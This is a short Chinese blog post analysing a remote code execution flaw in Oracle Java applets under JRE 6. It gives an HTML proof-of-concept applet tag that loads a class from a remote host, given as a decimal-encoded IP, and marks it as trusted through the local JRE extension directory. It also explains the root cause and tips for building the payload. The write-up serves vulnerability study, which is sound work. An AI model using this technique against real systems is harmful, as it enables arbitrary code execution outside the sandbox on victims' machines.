漏洞poc
<html>
<body>
<applet codebase="file:C:\ProgramFiles\java\jre6\lib\ext"code="http://3232235784:8080/WV2gkdWFXqOP" />
</body>
</html>
漏洞原理:
Applet有2个标签参数,codebase和code,codebase标签指定了要加载的class所在的位置,可以指定是网络上面或者本地。Code标签会被当作class 名字从codebase指定的位置进行加载。
但是呢codebase属性的值被当作class名字给URLConstructor进行解析时,又被当作了一个URL进行处理,因此指定这样的标签属性会从http://3232235784:8080/ 地址上加载一个http://3232235784:8080/WV2gkdWFXqOP.class类,并且将这个类认为是从codebase标签属性指定的位置加载的。由于C:\Program Files\java\jre6\lib\ext 目录下面是JRE自身的安装目录,该目录下面所有的类都是信任类,因此这个http://3232235784:8080/WV2gkdWFXqOP.class会当作信任的类进行执行,从而可以执行任意的代码在沙盒外面。
这个漏洞的根本原因是没有检测codebase标签属性和code标签属性是否是同一个协议,同一个主机和端口,从而导致可以从code标签属性加载类,而java会将加载的类当作codebase标签属性指定的位置加载的。
这里有个注意的 code标签属性里面的url中的.会被/ 取代,所以ip采用十进制的方式。
另外一个需要注意的地方,因为http://3232235784:8080/WV2gkdWFXqOP
这样的类名默认情况下java是编译不通过的,这里通过修改编译好的class文件,将其class名改成上述既可以被jvm加载执行。
本文介绍了一个存在于 Oracle Java Applet 中的远程代码执行漏洞,该漏洞允许攻击者通过恶意 Applet 执行任意代码。文章详细解释了漏洞原理及利用方式。
543

被折叠的 条评论
为什么被折叠?



